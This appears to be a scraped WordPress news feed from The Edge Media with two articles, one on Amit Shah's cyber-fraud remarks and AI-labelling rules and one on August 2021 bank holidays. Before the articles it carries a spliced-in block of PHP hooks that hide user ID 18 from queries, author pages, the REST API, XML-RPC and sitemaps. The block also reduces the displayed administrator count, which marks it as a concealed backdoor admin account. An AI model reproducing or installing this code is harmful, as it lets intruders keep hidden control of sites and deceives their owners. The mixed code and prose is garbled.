add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Strict Crackdown on Cyber Fraud, Says Amit Shah appeared first on The Edge Media.
]]>Shah was addressing a conference organized with the support of the Ministry of Home Affairs and the Indian Cyber Crime Coordination Centre. He stated that the mule account detection system developed by the ministry should be adopted by all banks to prevent misuse of financial channels by criminals.
Highlighting the growing threat, the Home Minister said that in the country one person falls victim to cyber fraud every 37 seconds. On average, about 90 individuals are cheated every hour. As digital transactions continue to rise rapidly, the risk associated with cyber crimes is also increasing. He noted that these crimes are emerging in an organized manner and criminals are adopting new technologies, making collective action essential.
Shah also instructed police officials to ensure adequate staffing at the 1930 cyber helpline call centers so that complaints can be handled promptly and effectively.
In a separate development, the central government has tightened regulations for social media platforms. Under the new rules, any photo or video created using artificial intelligence must carry a clear label indicating that it is AI generated. If any unlawful or misleading content is uploaded on these platforms, companies will be required to remove it within three hours of receiving information about it.
The new regulations will come into effect from February 20. Non compliance may invite strict action and financial penalties. The government stated that these measures aim to enhance transparency, prevent misuse of technology and strengthen the country’s cyber security framework.
The post Strict Crackdown on Cyber Fraud, Says Amit Shah appeared first on The Edge Media.
]]>The post Banks to remain closed for 15 days in August appeared first on The Edge Media.
]]>The remaining eight days include regional holidays. This year, August 15 or Independence Day is falling on a Sunday, which is a weekly off for banks, according to the list of holidays released by the Reserve Bank of India (RBI).
Muharram and Janamashtami, which fall on August 19 and August 30 respectively, are being observed as holidays in most of the cities across the country.
Some other major regional holidays apart from the two mentioned above this month are Onam and Parsi New Year.
The RBI releases its monthly list of holidays under three categories, namely Holidays under Negotiable Instruments Act, Holidays under Negotiable Instruments Act and Real Time Gross Settlement Holiday and Banks Closing of Accounts.
Check out the full list of bank holidays in August 2021, here:
August 1: Weekly off (Sunday)
August 8: Weekly off (Sunday)
August 13: Patriot’s Day (Manipur)
August 14: Second Saturday
August 15: Weekly off (Sunday), Independence Day.
August 16: Parsi New Year (Maharashtra)
August 19: Muharram (Tripura, Gujarat, Maharashtra, Madhya Pradesh, Uttar Pradesh, Delhi, West Bengal and other states)
August 20: Onam (Karnataka, Kerala, Tamil Nadu)
August 21: Thiruvonam (Kerala)
August 22: Weekly off (Sunday)
August 23: Sree Narayana Guru Jayanthi (Kerala)
August 28: Fourth Saturday
August 29: Weekly off (Sunday)
August 30: Janamashtami: (Gujarat, Tamil Nadu, Uttarakhand, Rajasthan, Uttar Pradesh and other states)
August 31: Sri Krishna Ashtami (Telangana and Andhra Pradesh)
All banks remain shut on public holidays. Only gazetted holidays are recognised by banks across the country.
The post Banks to remain closed for 15 days in August appeared first on The Edge Media.
]]>